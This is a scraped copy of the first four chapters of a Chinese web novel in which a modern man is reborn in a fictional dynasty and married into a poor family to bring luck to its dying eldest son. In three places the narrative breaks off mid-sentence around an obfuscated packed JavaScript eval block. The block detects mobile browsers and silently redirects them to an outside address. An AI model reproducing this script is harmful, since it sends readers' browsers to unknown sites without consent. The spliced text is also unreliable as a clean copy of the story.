《寡夫郎》 1. 第 1 章 冷。 刺骨的寒冷之下,让凌星有了微弱的意识。 混沌间,凌星头脑昏涨,浑身上下没有什么力气,整个人虚的像一团棉花。 耳边突然炸开尖锐刺耳的声音,乐声吵得凌星脑袋都疼。 贯穿力如此强劲的乐器,非唢呐莫属。 凌星被唢呐的声音吵的更清醒了一些,他缓缓睁眼,与一尊破败的神像对视。 那神像没了半边脸,一只老鼠从空洞中爬出来,给他吓的一激灵,心里头突突狂跳。 还没等凌星回神,破庙外响起一道与唢呐的穿透力不分上下的女声,“快,快将哥儿带出来,误了吉时就不好了!” 凌星脑袋晕乎乎的,只听见外面凌乱的脚步声越来越近,紧接着他就被两个婆子给架了起来。 刚架起来的时候,凌星两眼一黑,眼冒金星。脑袋有严重供血不足的感觉,好悬又给晕过去。 好不容易缓过来,手臂处又传来隐痛。 两个婆子看着枯瘦,实则手上力道强劲,箍的凌星的小臂一抽一抽的疼。 与其说凌星是被架着走路,不如说是被两个婆子生拖着的。 事情发生的太过突然,凌星也很懵。 他只记得自己去给爷爷上坟,结果因为突然的大雨被困山中,运气不好遭了泥石流,人被埋了。 至于眼前情形,凌星此时尚未有头绪。 外面的光线实在刺眼,寒风又像刀子一样,割着肉般的疼。 凌星模糊的视线,似乎看见有一片红,唢呐吹的也像是喜乐。 想到村子里还有的一些习俗,凌星打了一个激灵。 他不会是被人挖出来配冥婚了吧? 凌星成功的自己吓了自己后,脑袋里突然多出一段陌生的记忆。 那记忆来的太突然,信息量颇多,导致凌星头痛欲裂。 架着他的两个婆子见凌星闭着眼睛,眉头皱的死紧,也不免有些担忧。 一人惊道:“这冲喜的哥儿,别没把人冲活,倒先把自己给冲死了啊。” 另一人打量了一眼凌星,觉着这状态实在是不对劲,便伸手抓着凌星的手,对着他的虎口就是猛掐。 “啊!” 铁钳一样的力道落在虎口上,疼的凌星直接喊了出来。 他要是真的死了,也能被这婆子生生的掐活过来。 掐虎口的婆子松一口气,“这声听着还有些中气,死不了。” 先头担心凌星死了的婆子也放心了,连忙道:“咱快把人给老沈家送去,得了喜钱吃顿席面,比什么都强。” 凌星的虎口还在隐隐作痛,脑袋的疼痛倒是消失了许多,他无心在意周遭,只能默默的消化着那段陌生的记忆。 他死了,然后穿越了。 穿到了一个不知名的朝代,禹朝。 这个朝代有男人,女人,还有一种性别,哥儿。 哥儿虽有男性特征,却不能让女子有孕。不仅如此,哥儿身体构造亦与男子有区别,他们有孕口【注1】自己就可生子。 凌星就是穿在了与自己同名同姓的哥儿身上。 原身本是南方富庶地的,家境也算殷实。怎料那金窝窝一样的地方夏日里发了水,湖水倒灌将整个城都给淹了。 灾民越来越多,官府管不过来。 也有因为禹朝建立没几年,各方势力复杂之故,府衙想管也心有余力不足,阻拦的势力实在太多。 人吃不上饭容易出事,最先倒霉的就是那些有些家底的人家。 凌家仅剩的一些吃食也都被抢后,没办法只能跟着队伍逃荒。 有些灾民流窜成了贼寇,一路上恶事做尽。逃荒求活路的百姓除了要应对这些流寇,还要面对着因长期缺吃,导致的一应疾病。 逃荒途中有人因病逝世,有的则是为了活命,将自己给卖了。还有的是在一次又一次,躲避流寇抢夺的途中失散了。 原身逃难到这里,已经是强弩之末。 人饿的发昏,只有一口气吊着。 听说小柳村沈家的想娶个人进门冲喜,原身主动央求着要嫁过去,只求一口饭吃。 他不能死,他还要找弟弟凌月。 娘亲难产而亡,临终时将弟弟托付给他。但他却因一时不察,在逃亡的过程中,叫继母将弟弟给卖了换饼子吃。 原身为了寻弟弟,脱离了本就没几个人的队伍。 他只知道弟弟在这县中,但是具体在哪,就不知道了。 沈家那边也急着娶人进门冲喜,见着有人愿意,也没有挑。 碍着规矩,新嫁之人不能直接在夫家。 原身又没有娘家在这边,冲喜说到底有些晦气,沈家人也不想借人屋舍遭人嫌弃,只能让原身从破庙那边出门子。 嫁去沈家,就能在此地落籍,还能有饭吃,沈家也答应他会帮他找弟弟。 原身打算的很好,只可惜他的身体已经无法再支撑,在吃了顿饱饭后,人就在破庙里走了。 后面就是现代的凌星因泥石流而亡,却不知为何借尸还魂,成了禹朝的凌星。 接收完记忆后的凌星,依旧四肢发软,除了虎口钻心的疼那一下,喊出了声外,现在想说话都没那个力气。 凌星感觉自己就像个木偶人一样,无法控制四肢,只能被两个婆子架着走。 好在视线恢复了不少,离得近了,能看清模样。不像一开始,再近都只是一团糊。 沈家没有在村子里住,而是在山脚下,独一家。 草泥糊的土房子,外面围着一圈篱笆。 破庙离沈家不远,没一会队伍就到了沈家。 “新嫁夫郎入门了!” 唢呐声随着喜婆的一声高喊,吹的更加的欢快响亮。 听觉恢复很好的凌星只觉得震耳欲聋,这唢呐像是在他脑子里吹一样,神经突突的跳,头疼的很。 喜婆喊完后,接着又喊一声,“新郎官快出来接夫郎吧!” 话音刚落,凌星就被两个婆子交了出去。 眼前的手掌被布条缠绕着,似乎能闻见些许血腥气。 凌星没什么力气,婆子松手后,他只来得及看一眼伸到他眼前的那只布满茧子的大手,人直接往下倒。 腰间骤然一股力道,强劲的很,凌星整个人都被捞起来,他感觉自己的脚好像腾空了。 单手箍着他腰间的汉子身强力壮,大冷天衣着单薄,可对方在他腰上的掌心,依旧带着偏热的温度。 凌星仰头一看,对方实在是高,怕是有一米九。 他这个身高,只能看见对方凌厉的下颌线,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036472|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高挺的鼻梁,薄削紧抿的唇。 凌星对他的处境接受良好,他向来想得开,既来之则安之,走一步看一步。 但他有些想不通,不是说冲喜吗?可这人似乎没什么病啊。 “你自己可以走吗?” 男人的声音低沉磁性,带着些疏离冷漠。凌星回神,张嘴想说话,依旧发不出声音,他只能摇摇头。 没听到回答,男人低头看向凌星,也叫凌星看清楚了男人的样貌。 是一张英俊到,让人觉得带着攻击性的脸。 眉毛微压着眼睛,眉宇之间含着冷厉,面无表情的样子着实是有些唬人。 见人没瞧见他摇头,凌星又摇了摇脑袋。 对方眉心微拢,没有再多言,而是蹲下身,背着凌星进了堂屋。 沈家的堂屋还算宽敞。 沈家二老穿着尽是补丁的衣裳,衣物虽然破旧,但胜在干净,倒也还好。 二人此时正满面愁容的分坐在桌子两侧,紧张又期待的看向外头。 随着喜婆高喊一声,“吉时已到,夫郎进门,拜堂成亲”后,沈家二老强打起精神,挂着一抹苦笑,瞧被背进来的凌星。 喜婆随着进门,又说了一堆的吉利话,这才唱起来。 “一拜天地。” “二拜高堂。” “夫妻对拜。” “送入洞房。” 拜堂的过程中,凌星是被喜婆搀扶着动作的,不然他能直接躺地上去。 仪式结束后,之前搀着凌星的两个婆子又一左一右的架着他,将他往东头房里送。 刚靠近东头房,门帘尚未掀起,凌星就闻见了浓郁的药味。 进去后,药味更加的重,甚至有些刺鼻冲脑袋。 好在除了药味以外,没有其他的异味,凌星倒是能忍。 他身体也虚的很,身上的衣服单薄,根本无法御寒。 眼看着人都冻紫了,两个婆子只好把人往被子里塞。 屋里比较昏暗,没什么光线。加上凌星的视觉没有恢复完全,走近了之后才发现那床榻上还躺着个人。 对方脸色苍白的厉害,眼下还有明显的青黑,人瘦的快不能看。 仔细瞧着面容,倒是和外头那高大壮实的男人有几分神似。 凌星看着床上的人,明白了。 躺着不能动的这个,才是他名义上的老公。 外头那个,是代替拜堂的。 还好,沈家给他找了个人来代替,而不是让他和一只鸡拜堂。 …… 沈家瞧着屋子虽说穷困,席面倒是花了功夫置办。 这天冷的很,依旧有不少人来,冻得发抖也要坐在桌前。 实在是贪图那一口荤腥。 小柳村是出了名的穷村,就算是逢年过节,能吃上一口荤腥的都少。 沈家这次办喜宴,头天杀猪是村子里人都晓得的。 就算是为吃口猪肉,那也冻得。 外头又放了爆竹,放完后开席。 村民们眼里只容得下碗里的肉,也不管这肉是冷是热,只要是肉怎样都吃得。 东头房里,凌星和他那病恹恹的夫君排排躺。 不知过了多久,凌星听对方有气无力道:“我叫沈还,你叫什么名字?” 2. 第 2 章 沈还声音虚弱的很,说一句要停好一会喘息才行。 凌星之前张口说话,没能发出声音。这次以为自己还是说不了话,没想到试探性张嘴之后,竟然有声了。 “凌星。” 说着他看向便宜夫君,一时间还觉得有些恍惚。 凌星前世的时候性向就是喜欢男子,不过一直没谈过恋爱,他爷爷会受不了。 爷爷走之后,他又忙着拍视频赚钱。因为拍摄地在老家的村子里,那小村子根本没有机会认识人,主要是他也没空。 没想到一朝穿越,他连老公都有了。 不过,对方看起来是真的不太好。 和他爷爷临走前的模样,相差不大。 凌星想到以前对古代的一些了解,虽然不是一个朝代,但感觉也差不多。 要是他冲喜没成功,沈家人会不会怪他啊? 他人生地不熟的,真要怪他,那他可该咋整。 凌星心里担忧,嘴上也说了出来。这里不比现代,饶是他心大想得开,这会见到沈还的模样,也是慌了神。 沈还听着凌星的担忧,也侧头看向他。 见凌星面黄肌瘦的脸上尽是忧愁,沈还嘴角挂着浅浅的笑意,试图安抚。 “不必担忧,我的家人不会伤害你。” 说罢就是一阵沉默,沈还在喘气缓和。 凌星就静静的等着,也没有开口催促。 等沈还缓一些后,又继续慢吞吞的说:“他们也察觉到我没几天日子了,病急乱投医也好,不想我走了都没成家也好,总归不会怪在你的头上。” 沈还说完又歇了,凌星确认他没后话,这才开口问,“你怎么知道?” 沈还从胸腔中发出一声闷笑,“因为他们足够在意我,而你是我的夫郎,若是不改嫁死后都是和我同穴而眠的。” 凌星听懂了,爱屋及乌。 看来沈家人是真的对沈还很好。 凌星不会看病,但也知道沈还这样的,需要花费很多的银钱吊着命。 沈家这样穷,怕是因为钱大部分都用来给沈还看病了。 外面很热闹,显得屋里更加的寂静冷清。 许是许久没有与陌生人交流,又或是真的将凌星当作了自己的夫郎,沈还说了很多话。 凌星闻着草药味,听着沈还一字一顿的讲着沈家的事情。 沈还讲的很慢,凌星听的认真。 不出意外的话,他会在沈家生活很长一段时间。 根据原身的记忆,流民想要在一处安家落户,只有男子可以,且需要在那地住满一年。 女子和哥儿没有单独立户的,只能嫁人。 凌星一个现代人,乍然穿越到一个陌生的朝代,连身体构造都被改了。又身无分文,加上律法的原因,他想一个人存活,根本就不可能。 在沈家的话,至少能活着。 凌星听着沈还的意思,沈家以前也颇有家资。 禹朝建立时间并不算长,是在改朝换代后,沈家碍了道,这才遭人迫害,举家离开故土。 沈还自幼身体就不好。 他的病是娘胎里带的,能活到什么时候,全看家里钱什么时候能用完。 十岁之前,沈还的病情控制的很好。 十岁之后因为家族受到波及动荡,他们这一支离开家族为求活命,一路艰苦行至小柳村定居。 从那之后,沈还的身体就一日不如一日。 带出来的那些家产,也都化做他的汤药,家里日子越过越穷。 “二弟刚来小柳村的时候,还去私塾继续读过书,三妹和四弟那时候,隔三差五还有块糖吃。后来,他们什么都没有了。” 沈还说罢自嘲一声,他经常在想,这世上没有一个做兄长,做儿子的,比他还失败。 因为他的原因,让父母,让弟弟妹妹们活的越来越差。 他就是个废人。 这就算了,临死前还因为自己的废物身体,又拉了一人进门受罪。 这些话他往日不敢说出口,谁都不敢说。 只要说了,家里人都会伤心难过。 他不想再让家人为他不高兴,为他伤怀。沈还感受到自己时日无多,今日遇到凌星,也总想吐一吐心中埋着多年的郁结。 凌星听着沈怀自责无奈,他的手臂有了一些力气,伸出手用指尖抚去沈还眼角的泪。 “别自责,他们拼尽所有让你活着,是因为你的生命比金钱外物重要。” 沈还有些愣神,他没想到自己还能哭出来。 缓解情绪后,他对凌星道:“叫你看笑话了。” 凌星摇头,“人有情绪很正常,这没什么。” 沈还闻言转头,仔细的看向凌星。 这哥儿瘦的很,眼睛大大的,下巴都瘦尖了。可眼眸中的光亮,即便是在昏暗的室内,都无法被掩盖分毫。 如此明媚的人,是他耽误了人家。 “我会和爹娘言明,在我死后,放你自由。” 沈还对凌星是有愧疚感的,因为他的原因,叫人家好好的哥儿嫁给他冲喜,坏了人家的姻缘。 他想要弥补,但能做的也极少。 凌星闻言没有一口答应。 他想到原身记忆里,没儿子的寡妇和寡夫郎,出了夫家后要是没娘家兄弟庇护,一年后就会被官府强行婚配改嫁。 凌星打了个寒颤,他可没娘家,凌家人都不知道散哪里去了。 他不要再嫁人了! 虽然他喜欢男人,可不代表他要一而再再而三的嫁给陌生男人啊! 谁知道下一个会是什么鬼样子? “不不不,沈大哥你要是真心想我好,不如劝你爹娘在你死后给我口饭吃。” 说着凌星又想到了原身的心愿,他至死都想着要找回弟弟,毕竟用了人家的身体,不好什么都不做,遂又加了一句,“然后帮我一起找弟弟。” 沈还也想到了禹朝刚建立不久,之前因为战争的原因,没多少人了。 现在为了多生孩子,一些律法对女子和哥儿来说实在是不好。 沈家没了他,钱是能攒出来的。凌星后面在沈家或许真的比放人自由更好一些。 沈还点头同意,“好,我答应你。” 他的父母他清楚,不会亏待凌星的。 沈还今日的精神头似乎很不错,确认凌星后面要继续在沈家生活,在答应了凌星之后,又详细的给他介绍了家里的人。 沈家在这没有其他的亲戚。 整个小柳村就是个异姓大村,因为怕被其他的村子人欺负,大家抱团在一起,也算团结。 沈家本来是住在村子里的,房子还是青砖房。但后面因为给沈还买药,没钱了只能把青砖房卖了,重新找了个地方另盖屋舍。 找来找去,就安阳山山脚这块地最合适。虽然不在村子里,但离村子只有一里路。 沈家二老名唤沈呈山,徐有芳。 二人育有三子一女一哥儿,看着人多但在小柳村来说,不算是人丁兴旺之家。 老大沈还,老二沈回,老三沈燕是姑娘,老四沈归,老五是个哥儿,叫沈来。 沈回就是代替沈还与凌星拜堂的那壮汉,从小就不苟言笑,八岁之前在家学读书,还有专门的武师父,从小底子打的好。 也因此,现在沈家的收入来源,基本上都是沈回上山打猎,还有偶尔去给人写信读信来钱。 除此之外,还有徐有芳这个当娘的卖绣品赚钱,以及家里分的那十亩地的产出。 三妹沈燕三年前嫁人了,是个山民。穷是穷了点,但靠山吃山,总归不会饿着。 这也是沈家能给闺女找的最好的人家了。 四弟沈归一年前娶了妻,对方是个被休弃的妇人叫曹满月,大沈归五岁。 沈家条件也不好,就连哥儿都不愿意嫁进来别说女子。 正因如此,谁也别嫌弃谁。 媒人说亲成了后,曹满月什么也没要,带着对双生子一个女儿,一个哥儿嫁进沈家。 四弟妹曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036473|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满月还有个儿子,今年有五岁。不过那孩子留在了前头的夫家,因为是男娃,前面公婆不允许她带走。 五弟沈来是个小哥儿,今年十岁。 是个烈性子的,每天出去再回来,身上总会有伤,沈家二老为此头疼的很。 凌星前面视线模糊,只能看清近处的。这会听沈还介绍家人,脑袋里没有与沈燕夫妇,沈归夫妇还有沈来与之对应的脸。 倒是沈回那张极具侵略性的样貌,看一遍就很难忘。 原来是以打猎为生,难怪身型那般健硕,胳膊都赶上他腿粗了。 凌星和沈还躺着说话,主要是沈还说,凌星听。 后面沈还的声音越来越小,凌星听着对方均匀微弱的呼吸声,还有些不太放心,神经兮兮的伸手在沈还鼻子下感受。 嗯,还有气。 外面的动静直到天黑透了才停下,屋里早已变得黑不隆咚的。 凌星不太喜欢黑暗,尤其现在在一个陌生的环境,这让他很没有安全感,心里也发慌,情绪都低落很多。 他不敢放任情绪低落下去,就在心里想着高兴的事。 虽然这里很陌生,但他重生了,又活了一次,这样的机缘不是谁都有的。 他应该珍惜才是。 而且之前在村子里拍视频,就是做一些古法还原类,还有复刻各种小吃美食。爷爷还传了他制作各种酱方的手艺,不管怎样他算个手艺人了,老天爷没有真的什么也不给他,让他在古代自生自灭。 凌星把自己哄好,觉得生活又有奔头了,这才满意的笑了笑。 心结担忧消散些后,他才发觉变冷了。 炭盆不知什么时候熄灭了,屋里仅有的热气快速消散,冷气以强势的姿态占据空间。 凌星现在能小幅度的动作,他费劲的把那不算厚的被子掖的紧一些,企图多保留些热气。 这天实在是太冷了,按着记忆来看,小柳村所处的地方不是很北,和他前世老家村子差不多的地形位置。 老家的冬季,也没这样冷过。 如今这体感,凌星以为是在大北方。 没有全球变暖的古代,冬天是真的冷啊。 凌星冻的牙齿都在打颤,浑身发抖,抖的边上的沈还都感觉到颤动。 “你很冷?” 沈还睡眼惺忪,将盖在自己身上的大皮袄子往凌星那送。 “不用不用,你盖着别给我。”凌星下意识的拒绝,要是沈还再冻着,导致免疫力下降,这对他的身体来说是要命的。 沈还也清楚自己的身体,他没有将袄子全部给凌星盖去,“一人一半,没事的。” 不得不说那皮袄子盖过来的时候,身上一重的瞬间,也带来了暖意。 凌星将冻的要失去知觉的脸往被子里埋了埋,几个呼吸之间,脸上开始泛起水雾。 终于有点热乎气了。 许是太过疲惫,前头因为冷,凌星没什么困意。这会有了一些温度,他眼皮子打架,没一会就睡了过去。 等睁眼的时候,昏暗的屋子里,有了一抹昏黄烛光。 凌星感觉到身上的重量更甚,睁眼一瞧,发现身上盖着一件熟悉的外袍。 是沈回身上的。 他不久前刚拽过这件衣服的衣袖。 “醒了?饭好了要吃吗?”边上的沈还看着凌星问道。 凌星动动手,发现他的力气又恢复了一些。与其说是力气,不如说是对这具身体的掌控权。 “好。” 凌星艰难下床,他看起来比沈还还虚弱。 此时沈回端着一碗热汤面进来,掀开门帘的瞬间,就见一双白皙削瘦的脚搭在床边。 他眉间一皱,连忙转身。 “娘让我来送饭。” 说着便将破旧的陶碗放在窗前的木柜上,头也不回的匆匆离去。 正准备穿鞋的凌星有些奇怪的回头,他问沈还道:“他跑什么?” 此时沈还也将头扭到一边,“不用在意,快去吃饭吧。” 3. 第 3 章 面条刚出锅,冒着热气,陶碗外壁烫的凌星都没办法碰。 想到之前沈回直接空手端来,凌星不由得惊叹,这人是真耐烫。 吹了一会后,凌星才将面条往嘴里送。 就这样还是烫口,他把面条在嘴里炒了一遍才咽下。 凌星虽是魂穿,但与身体融合后,所有的感知感官,他都能体会到。 眼下他实在是饿,已经到了极限无法再等面条更凉一些。 入口的面条劲道,麦香十足。 汤头没什么出彩,只加了点盐调味。不过对于久饿之人来说,已经是难得的美味。 凌星吸溜吸溜的快速吃完,连面汤都喝的一滴不剩,总算是有些饱腹感。 吃完后他又钻进了被窝,再不进去他要冻死了。 尤其是脚,他脚上是一双破草鞋,在这寒天里面别说不保暖还刺脚疼。 好在面条热乎乎的,吃进肚子里有些热气。 凌星手脚恢复了一些知觉后,徐有芳进来了,身边还跟着个瘦弱少年。 少年眉眼间满是桀骜不驯,五官却是十分的清秀,额头绑着条灰色的带子,后面正好束着头发。 看到凌星的时候,少年水汪汪的眼睛里带着些好奇,盯着凌星看个不停,随后一挑眉,“你就是我哥夫?” 凌星坐了起来,只用短短几秒,就接受了这新称呼。 “嗯,你是沈来?” “你知道我?”沈来有些惊讶。 凌星:“你大哥和我说过家里的人。” 此言一出,不仅是沈来就连徐有芳都有些讶异,没想到沈还会和凌星说这些。 他们以为沈还会不搭理凌星。 当初说要娶个人进门冲喜时,沈还是反对的。 孩子不同意,这事也就准备按下去了。谁知道会遇见逃难来的凌星,什么也不要,就要口饭吃加上帮着一起找找弟弟。 沈家二老实在是抗拒不了,最终还是决定娶个人进门冲喜。 其实他们心里也知道,这事成不了。 但若是不做的话,以后肯定会后悔。会无时无刻的想着,当初要是冲喜看看,万一大郎就能活呢? 就算活不了,至少成亲了不是。 到了下头阎王爷问起来,那都不是孤家寡人一个。 徐有芳觉着大郎应该是挺喜欢她给娶的夫郎,不然也不会病重的无法开口的时候,还和人说家里的人和事。 有了这想法后,徐有芳心里也高兴,对凌星的慈爱又深了几分。 她盼着凌星成为儿子的牵挂,有了牵挂人才更想活着。 因为凌星身体虚,沈还身体更不好,徐有芳和沈来没待多久就离开了。 也没说两句话。 不知道是不是身体灵魂的融合需要能量,第二天凌星睡了一整天。 期间沈来跑过来试探了好几次鼻息,知道还喘着气,沈家人也松口气。 晚上的时候,凌星被沈还叫起来吃饭,依旧是面条。 这次他脑袋昏沉,直接在床榻上吃的。 吃完人就又睡了过去。 第三天的时候,正在熟睡的凌星似有所感,突然睁开眼睛。 他转头看向沈还,对方面色红润,正对他笑。 “娶了你但却不能尽夫君的责任,实在对不起你。莫将我放在心上,今后若遇心爱之人,且寻自己的姻缘去。” 沈还说着塞了些东西给凌星手里,随后便靠在床头,缓缓闭上了眼睛。 凌星吓得不知哪来的力气,脑袋还懵着人已经一骨碌爬起来,试探沈还的鼻息。 恰巧徐有芳掀开门帘进来送药,看到床上的一幕后,霎那间红了眼眶。 “儿啊!” 唢呐声又起。 三日前是喜乐,三日后是哀乐。 如今天冷的很,土都被冻起来,挖坟要费大力气。 好在沈家有个沈回在,他力气奇大,挖了几天总算是赶上了沈还下葬的日子。 凌星在沈还去世后,人直接晕了。 他眼睛睁不开,但是能听到外面的声音。 凌星知道,这是身体融合的最后阶段。但旁人不晓得,只当他因沈还去世而伤心欲绝。 沈还的身体,沈家人知道,对这天的到来他们也早有准备。 能做的他们都做了,老天爷还是不让沈还活,沈家认了。 只是凌星不能再有事。 儿子的遗书里说了,要他们好好待凌星。 沈家忙着沈还的葬礼,还要牵挂凌星的身体,拿了仅剩的铜钱请了邻村的赤脚大夫。 那大夫也查不出什么来,只说是急火攻心要好生将养,又开了副药来,耗光了沈家最后一枚铜板。 凌星每天被喂苦兮兮的中药,不管是谁来喂,耳边都是唉声叹气,求他快快醒来。 他也想睁眼,可他睁不开啊。 药也不知道重复煮了多久,后面的几天几乎没什么药味。 凌星觉得他的舌头得救了。 沈还下葬后一天,凌星终于醒了。 屋里除了徐有芳,还坐着几个婶子,都在拉着徐有芳的手,你一言我一语的宽慰她。 “老沈家的,你也别太担心。你家大儿媳这是对你家大郎有情,所以人走了受不住打击才这样昏迷不醒。” “是啊,虽然是冲喜嫁过来,可人的感情谁说得准呢。这哥儿重情,你家大郎在天之灵,定会佑他平安。” “是这个理没错,你不也说了,你家大郎交代了要好生照顾着他的夫郎?放心吧,这小子这样说,肯定舍不得夫郎有事的,没准一会人就醒了。” 那婶子说完,下意识的瞥一眼床榻,发现床上昏迷之人正缓缓睁眼。 她一拍大腿,神色惊喜,“哎!大郎显灵了!他夫郎醒了!” 这次醒来,凌星能感觉到自己的灵魂与身体彻底融合了。 沈家也因为凌星的清醒,愁云散去了一些。 徐有芳送几位婶子离开,自己去灶屋给凌星做饭食。 依旧是面条,凌星一口气吃了三碗才缓过来。 “可还有哪里不舒服?”徐有芳端着凌星吃完的空碗担忧的问他。 凌星摇摇头,“没有了,让娘担心了。” 这声娘凌星叫的毫无压力。 他确实是进了沈家的门,以后也要在沈家生活,叫别的更不合适。 总不能因为一个小小称呼,就让以后的日子不好过。 徐有芳听凌星说没不舒服的,暗暗松口气。 又因为那一声娘心里高兴,这说明这哥儿暂时是要给她儿守寡的。 这样也好,不然她儿太凄苦些,人刚走夫郎就成了别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036474|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家的。 “大郎给你的东西,娘放枕头下了。” 徐有芳说罢,便离开了屋子。 借着昏黄的烛光,凌星从枕头下掏出了几样东西。 一支打磨雕刻好的木镯子,一条有些破旧的锦缎发带,还有一支空心的银簪子。 那簪子很轻,八成外面只是层银皮包裹,值不了几个钱。 这是沈还能给凌星留下的最好的了。 昏迷的时候,凌星听到了沈家人提起沈还遗书的内容。 没有多特别多东西,只有沈还对家人浓浓的愧疚,还有托付家人照料他。 真是个温和善心的人。 凌星把东西收好,心中也有些惆怅。 如果沈还身体很好的话,一定是个温润如玉的公子吧。 半夜的时候,凌星被外面的哭声惊醒。 之前沈还盖着的大皮袄子,不知何时盖在了他的身上。想来是屋里没炭盆,沈家人见他睡着怕他冷,拿进来给他盖上的。 天实在是冷,凌星也没有觉得死人盖过的有什么,如今保暖最重要。 他披上那大袄子,整个人裹的严实,寻着哭声去。 摸索着走到门帘处停下,外头传来了压低的声音。 “娘,我饿。” 沈来带着哭腔,对他娘哭诉着。 徐有芳叹一口气,“娘去给你烧点热水喝。” “我不要喝热水,我想吃面条呜呜呜呜呜。” 沈来抹着眼泪,哭的伤心欲绝,“娘你说那些面粉是留着给我生辰做长寿面的,我今天去看,罐子里什么都没了。” 徐有芳听到孩子的话,心里也一揪一揪的疼。 这孩子不像前头几个,多少都享过福。只有他,生来就在小柳村,那时候家里已经捉襟见肘,一文钱掰成几瓣花。 他们唯一能给的,就是每年生辰时,用精磨的面粉,给孩子做一碗长寿面吃。 但今年实在是特殊,大郎的夫郎鬼门关里走一遭,好不容易醒了,总不能叫他跟着吃麦麸吧。 那玩意吃着拉嗓子咽不下去不说,吃多了对身子没好处。 体虚之人忌讳吃这些,家里能入口的,想来想去就那点精磨面粉。 她也怕啊,怕大郎的夫郎再跟着她儿走了。 家里没别的能补,就这能补补身体,她哪能不拿? 说到底是他们沈家要人来冲喜的,不能把人娶进门,就不顾人死活。 “等开春,娘多接几个绣活,到时候给你买麦芽糖吃成不?” 徐有芳没办法变出面粉来,只能和沈来打商量。 沈来也知道面粉是给大哥夫补身体去了,他也不想闹的,可他实在是太饿了。 一饿脑袋就不受控制,就想哭,就想吃。 听到开春能有麦芽糖吃,沈来只能憋嘴点头,饿就饿吧,他想吃糖。 “好,那娘你不能再骗我的。” 沈来委委屈屈的说着,徐有芳指天发誓说不会。 听的门帘后的凌星心里不是滋味,他晚上吃了三大碗面条…… 凌星在帘子后面,因为把小孩生辰时要吃的面粉全给吃完了而不好意思,外面的哭声却没有完全停下。 沈来最后小声的说了一句,“娘,我想大哥了。” 轻轻的一句话,让徐有芳泪流满面。 4. 第 4 章 前段时间沈家因为忙着葬礼,又担忧昏迷不醒的凌星,身心疲惫。 对于沈还的离世,虽然伤心但是更多的还是懵和忙。 因他们作为主家,要操持着一切,实际上并没有太多的时间给他们伤怀。 如今一切尘埃落定,稍微想想沈还,都能泪流满面。 思念缠绕,却再无法与之相见。 情绪能够感染,门帘之后的凌星,也有些眼角湿润。 有为沈还可惜,也有为他自己。 如今他孤身一人不说,还到了一个完全陌生的环境里面。 虽然之前有在安慰自己,可这地方到底是个什么情况,他是两眼一抹黑。 以后的日子还不知道能过成什么样。 这种漂浮着,心里空落落,脚踩不到实处的感觉,实在是熬人心。 凌星没有再待门帘后,他之前是因哭声,怕出什么事才想去看。 现在知道缘由,便起身回去躺着。 躺下后也睡不着,沈来的话让他有危机感,满脑子都在想要怎么填饱肚子。 沈家太穷了,他比沈家人还穷。 钱啊,到底要怎么赚钱啊。 凌星愁的到后半夜才睡着,翌日清晨,他是被晃醒的。 两眼一睁,就见一个梳着羊角辫子的小女孩坐在他床头。 女孩瘦的很,头发也有些发黄稀疏,脑袋大四肢纤瘦。 对方看到凌星睁眼,缩着脖子怯懦道:“阿奶叫我来喊大伯夫去吃早饭。” 凌星缓了一下将女孩的脸对应上是谁,是他名义上的四弟妹,曹满月带来的那对双生子。 七岁的孩子,瞧着瘦瘦小小的,说是四五岁都能信。 古时孩子容易夭折,想来营养不良的原因占据不小。 沈还之前和凌星说过孩子们的姓名,他们跟着娘亲来到沈家后,就改了姓。 如今女孩叫沈小春,哥儿叫沈小夏。 凌星搓了搓脸,让自己清醒一些,“好的小春,我这就起。” 完成了阿奶的任务,沈小春不敢在屋里多待,麻溜的下床跑了出去。 凌星自己的衣服破的不能穿,他之前嫁进来穿的那身补丁衣裳,还是沈家人给他找的。 他自己的破衣服也没有扔,而是穿在里面,企图御寒。 穿好衣服后,凌星踩着那双破草鞋就掀帘子出去了。 山脚下只有沈家一家,房子加院子的占地面积其实不算小。 不过想来当初盖土屋的时候,为了省点银子,房子盖的比较小。 正中间的土屋三间屋子,东头房是之前沈还住的,他生着病,需要修养,一人住一间。 沈还走了之后,东头房一直都是凌星在住。 西头房是沈家二老住的,堂屋在晚上的时候,会用凳子和木板搭一个木床,沈来在那睡着。之前沈燕没嫁人的时候,她和沈来一起睡在堂屋。 东西两边还有屋子,东边的那间屋子是沈归夫妻两带着两孩子睡,西边的那间是灶屋,用布帘子隔了个空间,沈回在里面睡。 西边的灶屋靠着山,蚊虫实在太多,有时候还会跑蛇出来,全家除了沈回没人敢在那睡觉。 现在是二月初,天还冷着,沈家吃饭都在灶屋里面吃。 